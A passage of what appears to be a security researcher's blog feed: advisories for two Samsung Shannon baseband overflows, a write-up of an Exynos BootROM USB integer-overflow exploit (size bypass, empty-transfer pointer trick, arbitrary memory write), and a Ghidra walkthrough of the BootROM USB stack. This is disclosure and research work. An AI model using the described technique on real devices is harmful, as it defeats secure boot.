<p>MS Identity (IEI 0x23) length is decremented without prior check. If this value is zero, a short integer underflow occurs. This invalid size is then used to copy received MS Identity data to a stack buffer. This stack overflow can lead to remote arbitrary code execution in the Shannon modem.</p>
<h1>CVSS Version 3 Metrics</h1>
<ul>
<li>Attack Vector (AV): Adjacent (A)</li>
<li>Attack Complexity (AC): Low (L)</li>
<li>Privileges Required (PR): None (N)</li>
<li>User Interaction (UI): None (N)</li>
<li><a href="proxy.php?url=https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">Overall CVSS Score: 8.8</a></li>
</ul>
<h1>Affected Versions</h1>
<p>Discovered in Shannon baseband of Galaxy S8 (SM-G950FD), it may affect other models based on Exynos chipsets.</p>
<h1>Solution</h1>
<p>Samsung security update of December 2018 fixes this vulnerability.</p>
<h1>Timeline</h1>
<ul>
<li>2018-12-04 Bug fixed in Samsung security update <a href="proxy.php?url=https://security.samsungmobile.com/securityUpdate.smsb">SMR-DEC-2018</a></li>
<li>2019-05-25 Bug discovered in old firmware</li>
<li>2019-05-28 Bug fix discovered in latest firmware</li>
<li>2019-05-28 Bug hunting procedures reconsidered</li>
</ul>Remote stack overflow in Samsung baseband caused by malformed P-TMSI REALLOCATION COMMAND2020-11-23T00:00:00-07:002020-11-23T00:00:00-07:00Frédérictag:fredericb.info,2020-11-23:/2020/11/remote-stack-overflow-in-samsung-baseband-caused-by-malformed-p-tmsi-reallocation-command.html<h1>Description</h1>
<p>When Samsung Shannon baseband receives message P-TMSI REALLOCATION COMMAND (9.4.7 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_ts/124000_124099/124008/13.07.00_60/ts_124008v130700p.pdf">TS 24.008</a>) from network,
the length of the Mobile Identity IE (10.5.1.4) is not properly checked.</p>
<p><img alt="TS 24.008 P-TMSI REALLOCATION COMMAND message" src="proxy.php?url=https://fredericb.info/blog/PTMSI/TS24.008_PTMSI-realloc-cmd.png" width="700px"></p>
<p>Mobile identity data is directly copied to a stack buffer without prior size check. This stack …</p><h1>Description</h1>
<p>When Samsung Shannon baseband receives message P-TMSI REALLOCATION COMMAND (9.4.7 in <a href="proxy.php?url=https://www.etsi.org/deliver/etsi_ts/124000_124099/124008/13.07.00_60/ts_124008v130700p.pdf">TS 24.008</a>) from network,
the length of the Mobile Identity IE (10.5.1.4) is not properly checked.</p>
<p><img alt="TS 24.008 P-TMSI REALLOCATION COMMAND message" src="proxy.php?url=https://fredericb.info/blog/PTMSI/TS24.008_PTMSI-realloc-cmd.png" width="700px"></p>
<p>Mobile identity data is directly copied to a stack buffer without prior size check. This stack overflow can lead to remote code execution in the Shannon modem.</p>
<h1>CVSS Version 3 Metrics</h1>
<ul>
<li>Attack Vector (AV): Adjacent (A)</li>
<li>Attack Complexity (AC): Low (L)</li>
<li>Privileges Required (PR): None (N)</li>
<li>User Interaction (UI): None (N)</li>
<li><a href="proxy.php?url=https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">Overall CVSS Score: 8.8</a></li>
</ul>
<h1>Affected Versions</h1>
<p>Discovered in Shannon baseband of Galaxy S8 (SM-G950FD), it may affect other models based on Exynos chipsets.</p>
<h1>Solution</h1>
<p>Samsung security update of December 2018 fixes this vulnerability.</p>
<h1>Timeline</h1>
<ul>
<li>2018-11-19 Working proof-of-concept</li>
<li>2018-12-04 Bug fixed in Samsung security update <a href="proxy.php?url=https://security.samsungmobile.com/securityUpdate.smsb">SMR-DEC-2018</a></li>
<li>2018-12-05 Reconsider life choices</li>
</ul>exynos-usbdl : unsigned code loader for Exynos BootROM2020-06-17T00:00:00-07:002020-06-17T00:00:00-07:00Frédérictag:fredericb.info,2020-06-17:/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html<p>In previous posts, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/exynos8890-bootrom-dump-dump-exynos-8890-bootrom-from-samsung-galaxy-s7.html">dump Exynos bootROM</a> and <a href="proxy.php?url=https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html">reverse its USB stack</a>.</p>
<p>These efforts led to the discovery of a bug in the USB stack that can be exploited to run arbitrary code.</p>
<p>The following chipsets are known to be affected by this bug :</p>
<ul>
<li>Exynos 8890</li>
<li>Exynos …</li></ul><p>In previous posts, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/exynos8890-bootrom-dump-dump-exynos-8890-bootrom-from-samsung-galaxy-s7.html">dump Exynos bootROM</a> and <a href="proxy.php?url=https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html">reverse its USB stack</a>.</p>
<p>These efforts led to the discovery of a bug in the USB stack that can be exploited to run arbitrary code.</p>
<p>The following chipsets are known to be affected by this bug :</p>
<ul>
<li>Exynos 8890</li>
<li>Exynos 8895</li>
</ul>
<p><a href="proxy.php?url=https://github.com/frederic/exynos-usbdl">exynos-usbdl, an open source tool available on Github</a>, exploits this vulnerability to load and run unsigned code.</p>
<p><img alt="Good times with dental scraper" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/scraper.png"></p>
<h1>Vulnerability details</h1>
<p>Exynos BootROM implements a very simple USB protocol to receive a bootloader binary from an USB host. That binary is encapsulated in a small structure <em>dldata</em>, and sent through USB bulk transfers.</p>
<div class="highlight"><pre><span></span><span class="k">typedef</span> <span class="k">struct</span> <span class="n">dldata_s</span> <span class="p">{</span>
<span class="n">u_int32_t</span> <span class="n">unknown0</span><span class="p">;</span>
<span class="n">u_int32_t</span> <span class="n">size</span><span class="p">;</span><span class="c1">// header(8) + data(n) + footer(2)</span>
<span class="n">u_int8_t</span> <span class="n">data</span><span class="p">[</span><span class="n">n</span><span class="p">];</span><span class="c1">//example data of size 'n'</span>
<span class="n">u_int16_t</span> <span class="n">unknown1</span><span class="p">;</span><span class="c1">//footer</span>
<span class="p">}</span> <span class="n">dldata</span><span class="p">;</span>
</pre></div>
<h2>Integer overflow bug</h2>
<p>BootROM writes received data into buffer <em>dl_buf</em> at address [0x02021800..0x02070000] (0x4E800 bytes).
But first, a check ensures that transferred data won't overflow <em>dl_buf</em> buffer :</p>
<div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="n">dl_buf</span> <span class="o">+</span> <span class="n">dldata</span><span class="p">.</span><span class="n">size</span> <span class="o">>=</span> <span class="mh">0x02070000</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usb_download_status</span> <span class="o">=</span> <span class="mh">0x02</span><span class="p">;</span><span class="c1">//error</span>
<span class="p">}</span>
</pre></div>
<p>However, this check on 32 bits is vulnerable to an integer overflow if <em>dldata.size</em> is higher than 0xFDFDE7FF (<em>dl_buf</em> + 0xFDFDE800 ≡ 0x0 mod 2³²).</p>
<p>So the bootROM accepts a payload of regular size [0x10..0x4E800] bytes (don't go below if you want to avoid integer underflows...), but due to that bug, <strong>also accepts a payload of [0xFDFDE800..0xFFFFFFFF] bytes.</strong></p>
<h2>Empty transfer trick</h2>
<p>The integer overflow bug allows us to bypass the size check to send a very large payload to the bootROM.
Such contiguous memory overflow may corrupt memory after <em>dl_buf</em> buffer, but the memory layout will cause the target to crash before any interesting (from attacker's point of view) memory corruption happens.</p>
<p>First, because <em>dl_buf</em> is located at the end of the in-use memory (after stack area, for example), so there's no bootROM runtime data to corrupt.
But also because accessing inexistent memory regions will cause a crash.</p>
<p>Nevertheless, there's a trick to overcome that limitation. A large download is expected to be splitted into multiple small transfers of equal size (0xfffe00 bytes), except the last transfer which can be smaller.</p>
<p>Each of these transfers triggers the USB transfer handler of the bootROM. This handler appends received data to the destination buffer <em>dl_buf</em>. We would expect that <em>dl_buf</em> pointer is then incremented by the size that has been appended. But instead, destination pointer <em>dl_buf</em> is incremented by the expected transfer size (0xfffe00 bytes). So, by sending empty transfers (transfer without data), we can increment the destination pointer <em>dl_buf</em> without actually writing any data, thus not risking any invalid memory access.</p>
<p>With this technique, we can easily increase <em>dl_buf</em> pointer to reach an address convenient for exploitation.</p>
<p>Finally, the last transfer (non-empty this time) is used to corrupt memory pointed by manipulated address <em>dl_buf</em>.</p>
<p>In summary, we can write 512 bytes (or less) of arbitrary data in memory range [0x0..0x020217FF], at an arbitrary offset. In this memory range, multiple data structures can be overwritten to achieve arbitrary code execution: function pointers, stack region, etc...</p>
<h1>Conclusion</h1>
<p>The USB boot feature in the Exynos bootROM only runs signed bootloader images (when Secure Boot is enabled).
However a pre-auth integer overflow bug allows an attacker with physical access to corrupt bootROM RAM.
So the attacker can execute arbitrary code in Secure World, at very early boot stage.</p>
<h1>Timeline</h1>
<ul>
<li>2020-02-12 <a href="proxy.php?url=https://gist.github.com/frederic/6228d60b8ddcf959eb3bea105f49348e">Bug discovery</a></li>
<li>2020-**-** Proof-of-concept development</li>
<li>2020-05-06 Vulnerability disclosed to Samsung</li>
<li>2020-06-10 Report dismissed as duplicate</li>
</ul>Reverse engineer USB stack of Exynos BootROM2020-06-16T00:00:00-07:002020-06-16T00:00:00-07:00Frédérictag:fredericb.info,2020-06-16:/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html<p>In the previous post, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/exynos8890-bootrom-dump-dump-exynos-8890-bootrom-from-samsung-galaxy-s7.html">dump Exynos bootROM</a>.</p>
<p>Exynos (8895 in this post) bootROM contains a minimal USB stack to load a signed bootloader from an USB host (a.k.a. boot from USB).
This post summarizes how this USB stack can be reversed using the Great …</p><p>In the previous post, we explained how to <a href="proxy.php?url=https://fredericb.info/2020/06/exynos8890-bootrom-dump-dump-exynos-8890-bootrom-from-samsung-galaxy-s7.html">dump Exynos bootROM</a>.</p>
<p>Exynos (8895 in this post) bootROM contains a minimal USB stack to load a signed bootloader from an USB host (a.k.a. boot from USB).
This post summarizes how this USB stack can be reversed using the Great Tool <a href="proxy.php?url=https://ghidra-sre.org/">Ghidra</a> and <a href="proxy.php?url=https://opensource.samsung.com/">Linux kernel source code</a>.</p>
<p>The goal is to locate and analyze the proprietary USB protocol used to load the bootloader in RAM.</p>
<p><img alt="Catch the dragon" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/CatchTheDragon.png" width="800px"></p>
<h1>SoC level</h1>
<p>Device Tree Source files in Linux kernel provide a detailed description (like physical address and size) of Exynos SoC peripherals, including the USB controller. In file <em>arch/arm64/boot/dts/exynos/exynos8895.dtsi</em>, we learn that the USB controller is mapped at <strong>0x10C00000</strong> (also known as base address):</p>
<p><img alt="USB controller in DTSI" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/dwc3Dtsi.png"></p>
<p>Ghidra <em>Memory Map</em> feature allows us to create a memory block that represents this USB peripheral :</p>
<p><img alt="Memory map in Ghidra" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/bootromMemMap.png"></p>
<p>Don't forget to click <strong>Analysis>Auto Analyze</strong> to update cross references to our new memory block.</p>
<h1>Peripheral level</h1>
<p>The Linux kernel also contains a list of registers and their offset to interact with the USB controller :</p>
<p><img alt="USB registers in kernel" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/dwc3Regs.png"></p>
<p>Register offsets are relative to the base address mentioned earlier.
Based on this list, we can rename each USB register referenced from the bootROM code (<strong>Navigation->Next Data</strong>) :</p>
<p><img alt="Xrefs to USB registers in Ghidra" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/regsXrefs2.png"></p>
<p>Adding names will help us to understand the purpose of functions that access these registers.</p>
<h1>Driver level</h1>
<p>BootROM functions that access USB registers directly are dedicated to USB operations. They are similar to the Linux USB driver code, but simplified since bootROM is bare metal code, without interrupt handlers, threads or even dynamic memory allocation.</p>
<p>Despite the lack of public documentation, we can study the Linux USB driver code to understand the purpose of most important USB registers.</p>
<p>With a better understanding of these registers, we can now infer the purpose of bootROM functions based on read/write operations they perform on these registers. In some cases, bootROM and Linux USB driver functions have such similar access patterns (to USB registers) that they can be quickly identified by comparison.</p>
<h2>USB enumeration and configurration</h2>
<p>Per USB specifications, when a new device is attached, USB host assigns it an unique address by sending the <em>Standard Device Request</em> <strong>USB_REQ_SET_ADDRESS</strong>. Device must then set its assigned address by writing it to register <strong>DWC3_DCFG</strong>. And thanks to the Linux USB driver, we even know that device address is a 7-bit value at offset 3 in this register.</p>
<p>By looking at references to <strong>DWC3_DCFG</strong> in Ghidra, we can locate bootROM functions that access this register :</p>
<p><img alt="USB controller in DTSI" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/dwc3DCFG.png"></p>
<p>Among these functions, only <em>write_DWC3_DCFG_DEVADDR</em> sets device address in <strong>DWC3_DCFG</strong> register :</p>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">write_DWC3_DCFG_DEVADDR</span><span class="p">(</span><span class="n">uint</span> <span class="n">devaddr</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">cRead_4</span><span class="p">(</span><span class="n">DWC3_DCFG</span><span class="p">);</span>
<span class="n">cWrite_4</span><span class="p">(</span><span class="n">DWC3_DCFG</span><span class="p">,</span><span class="n">uVar1</span> <span class="o">&</span> <span class="mh">0xfffffc00</span> <span class="o">|</span> <span class="n">uVar1</span> <span class="o">&</span> <span class="mi">7</span> <span class="o">|</span> <span class="p">(</span><span class="n">devaddr</span> <span class="o">&</span> <span class="mh">0x7f</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">3</span><span class="p">);</span><span class="c1">// DWC3_DCFG[3:7] : device address</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>By exploring incoming function calls to <em>write_DWC3_DCFG_DEVADDR</em>, we can easily locate the function that handles all incoming <em>Standard Device Requests</em> :</p>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">usb_handle_standard_device_request</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="n">uint</span> <span class="o">*</span><span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//[...]</span>
<span class="n">bRequest</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bRequest</span> <span class="o">==</span> <span class="n">USB_REQ_SET_ADDRESS</span><span class="p">)</span> <span class="p">{</span>
<span class="n">write_DWC3_DCFG_DEVADDR</span><span class="p">((</span><span class="n">ulonglong</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">2</span><span class="p">));</span><span class="c1">//set device address assigned by USB host</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="o">*</span><span class="n">param_2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bRequest</span> <span class="o">==</span> <span class="n">USB_REQ_GET_DESCRIPTOR</span><span class="p">)</span> <span class="p">{</span>
<span class="n">descriptorType</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">descriptorType</span> <span class="o">==</span> <span class="n">USB_DT_DEVICE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usb_init_device_descriptor</span><span class="p">(</span><span class="n">sUSBBuffers_ptr</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">event_buffer</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="mh">0x12</span> <span class="o"><</span> <span class="o">*</span><span class="n">param_2</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">param_2</span> <span class="o">=</span> <span class="mh">0x12</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">descriptorType</span> <span class="o">==</span> <span class="n">USB_DT_CONFIG</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puVar2</span> <span class="o">=</span> <span class="n">USBBuffers_ptr</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">usb_init_descriptors</span><span class="p">(</span><span class="n">puVar2</span><span class="o">-></span><span class="n">event_buffer</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">);</span>
<span class="c1">//[...]</span>
<span class="p">}</span>
</pre></div>
<p>Among all <em>Standard Device Requests</em> sent during USB enumeration phase, <strong>USB_REQ_GET_DESCRIPTOR</strong> is another interesting one.</p>
<p>USB descriptors are sent to USB host in order to describe device, interface & endpoints implemented by the device. These structures are part of the USB standard, so we can simply import structure definitions (struct USB_DESCRIPTORS & USB_DEVICE_DESCRIPTOR) from Linux kernel in Ghidra (<strong>File->Parse C source...</strong>) :</p>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">usb_init_device_descriptor</span><span class="p">(</span><span class="n">USB_DEVICE_DESCRIPTOR</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bLength</span> <span class="o">=</span> <span class="mh">0x12</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bDescriptorType</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// USB_DT_DEVICE</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bcdUSBL</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bcdUSBH</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bDeviceClass</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bDeviceSubClass</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bDeviceProtocol</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bMaxPacketSize0</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span><span class="p">)</span><span class="n">DAT_02021544</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">idVendorL</span> <span class="o">=</span> <span class="mh">0xe8</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">idVendorH</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// VENDOR ID 0x04E8</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">idProductL</span> <span class="o">=</span> <span class="mh">0x34</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">idProductH</span> <span class="o">=</span> <span class="mh">0x12</span><span class="p">;</span> <span class="c1">//PRODUCT ID 0x1234</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bcdDeviceL</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bcdDeviceH</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">iManufacturer</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">iProduct</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">iSerialNumber</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="n">param_1</span><span class="o">-></span><span class="n">bNumConfigurations</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">usb_init_descriptors</span><span class="p">(</span><span class="n">USB_DESCRIPTORS</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">byte</span> <span class="n">bVar1</span><span class="p">;</span>
<span class="n">byte</span> <span class="n">bVar2</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uVar3</span><span class="p">;</span>
<span class="n">uVar3</span> <span class="o">=</span> <span class="n">DAT_02021548</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">bLength</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">bDescriptorType</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// USB_DT_CONFIG</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">wTotalLengthL</span> <span class="o">=</span> <span class="mh">0x20</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">wTotalLengthH</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">bNumInterfaces</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">bConfigurationValue</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">iConfiguration</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">bmAttributes</span> <span class="o">=</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescConfig</span><span class="p">).</span><span class="n">maxPower</span> <span class="o">=</span> <span class="mh">0xfa</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bLength</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bDescriptorType</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// USB_DT_INTERFACE</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bInterfaceNumber</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bAlternateSetting</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bNumEndpoints</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bInterfaceClass</span> <span class="o">=</span> <span class="mh">0xff</span><span class="p">;</span> <span class="c1">// USB_CLASS_VENDOR_SPEC</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bInterfaceSubClass</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">bInterfaceProtocol</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescInterface</span><span class="p">).</span><span class="n">iInterface</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">bLength</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">bDescriptorType</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="c1">// USB_DT_ENDPOINT</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">bEndpointAddress</span> <span class="o">=</span> <span class="mh">0x81</span><span class="p">;</span> <span class="c1">// USB_DIR_IN | 1 : endpoint 1, direction IN</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">bmAttributes</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// USB_ENDPOINT_XFER_BULK</span>
<span class="n">bVar1</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span><span class="p">)</span><span class="n">uVar3</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">wMaxPacketSizeL</span> <span class="o">=</span> <span class="n">bVar1</span><span class="p">;</span>
<span class="n">bVar2</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span><span class="p">)((</span><span class="n">uint</span><span class="p">)</span><span class="n">uVar3</span> <span class="o">>></span> <span class="mi">8</span><span class="p">);</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">wMaxPacketSizeH</span> <span class="o">=</span> <span class="n">bVar2</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp0</span><span class="p">).</span><span class="n">bInterval</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">bLength</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">bDescriptorType</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="c1">// USB_DT_ENDPOINT</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">bEndpointAddress</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// USB_DIR_OUT | 2 : endpoint 2, direction OUT</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">bmAttributes</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// USB_ENDPOINT_XFER_BULK</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">wMaxPacketSizeL</span> <span class="o">=</span> <span class="n">bVar1</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">wMaxPacketSizeH</span> <span class="o">=</span> <span class="n">bVar2</span><span class="p">;</span>
<span class="p">(</span><span class="n">param_1</span><span class="o">-></span><span class="n">oDescEp1</span><span class="p">).</span><span class="n">bInterval</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>Among the important details in these descriptors, we can learn that this code implements :</p>
<ul>
<li><strong>1 device</strong> : vendor ID = 0x04E8, product ID = 0x1234.</li>
<li><strong>1 interface</strong> of vendor-specific class, which means protocol is likely proprietary.</li>
<li><strong>2 bulk endpoints</strong> : endpoint 1 for BULK IN transfers, endpoint 2 for BULK OUT transfers.</li>
</ul>
<h2>Event buffer setup</h2>
<p>During USB initialization, USB driver allocates a buffer called <em>event buffer</em> and informs USB controller by writing its address and size into registers <strong>DWC3_GEVNTADRLO</strong>, <strong>DWC3_GEVNTADRHI</strong>, <strong>DWC3_GEVNTSIZ</strong>. Once setup, USB controller can write events intended for USB driver into this shared buffer.</p>
<p>In Linux kernel, these registers are accessed by a single function <em>dwc3_event_buffers_setup</em>, called once during USB driver initialization. In bootROM code, event buffer is setup in the same way :</p>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">usb_setup_event_buffer</span><span class="p">(</span><span class="n">dword</span> <span class="n">bufferHigh</span><span class="p">,</span><span class="n">dword</span> <span class="n">bufferLow</span><span class="p">,</span><span class="n">ushort</span> <span class="n">bufferSize</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uint</span> <span class="n">local_14</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="n">cWrite_4</span><span class="p">(</span><span class="n">DWC3_GEVNTADRHI</span><span class="p">,</span><span class="n">bufferHigh</span><span class="p">);</span>
